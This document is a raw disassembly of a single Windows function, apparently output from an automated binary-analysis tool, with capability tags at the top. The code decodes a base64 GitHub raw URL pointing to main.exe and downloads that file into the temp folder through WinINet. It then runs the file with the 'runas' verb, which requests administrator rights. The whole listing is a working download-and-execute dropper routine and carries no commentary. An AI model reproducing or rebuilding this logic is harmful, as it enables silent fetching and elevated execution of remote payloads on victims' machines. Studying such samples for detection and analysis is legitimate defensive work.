Function at 0x1400015f0
Capabilities:
Create http request
Create process on windows
Get common file path
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1270]
mov eax, 0x1370
call fcn.1400042a0
sub rsp, rax
movaps xmmword [rsp + 0x1360], xmm6
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1250], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov ecx, 0x60
call fcn.140003350
mov rcx, rax
mov qword [rbp + 0x118], rax
movdqa xmm0, xmmword [0x140005680]
movdqu xmmword [rbp + 0x128], xmm0
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRodWIuY29tL0F2ZWxyaWFUZWNobm9sb2d5L21haW4vcmF3L3JlZnMvaGVhZHMvYS9tYWluLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140005540]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140005550]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140005560]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140005570]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x140005580]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x140005588]
mov dword [rcx + 0x58], eax
mov byte [rcx + 0x5c], r14b
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0xf8]
call fcn.140001290
nop
lea rdx, [rbp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x140]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001700
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001c27
cmp rbx, 0xf
ja 0x14000174e
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400017ec
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001783
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003350
test rax, rax
je 0x1400017b8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400017c7
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400017a0
mov rsi, r14
jmp 0x1400017c7
cmp rcx, 0x1000
jb 0x1400017bf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c2d
jmp 0x140001768
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003350
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140001834
lea rax, [rcx + 8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
movabs rdx, 0x6578652e6e69616d
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x30]
jmp 0x14000184c
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rsp + 0x30]
call fcn.140003120
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400018c5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000338c
movdqa xmm6, xmmword [0x140005670]
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], 0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edi, 1
mov edx, edi
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001afa
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000194c
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001af2
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rdx, qword [rbp + 0xd8]
lea rcx, [rbp - 0x40]
call fcn.140002ca0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
mov rcx, rbx
test al, al
je 0x1400019d3
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001ae9
lea r9, [rbp + 0xd0]
mov r8d, 0x1000
lea rdx, [rbp + 0x250]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001a30
mov eax, dword [rbp + 0xd0]
test eax, eax
je 0x140001a30
mov r8d, eax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0xd0]
mov r8d, 0x1000
lea rdx, [rbp + 0x250]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400019f1
lea rcx, [rbp - 0x38]
call fcn.140002be0
test rax, rax
jne 0x140001a5b
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x50], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], eax
mov dword [rsp + 0x54], 0x40
mov qword [rsp + 0x58], r14
lea rax, str.runas
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rax, qword [rbp + 0xd8]
mov qword [rsp + 0x68], rax
movdqa xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], r14d
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edi, r14d
lea rcx, [rbp - 0x40]
call fcn.140001c40
movdqa xmm6, xmmword [0x140005670]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140001b46
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000338c
movdqa xmm6, xmmword [0x140005670]
movdqu xmmword [rbp + 0xe8], xmm6
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x140001ba1
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000338c
movdqa xmm6, xmmword [0x140005670]
movdqu xmmword [rbp + 0x108], xmm6
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x140001bf4
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000338c
mov eax, edi
mov rcx, qword [rbp + 0x1250]
xor rcx, rsp
call fcn.140003330
lea r11, [rsp + 0x1370]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3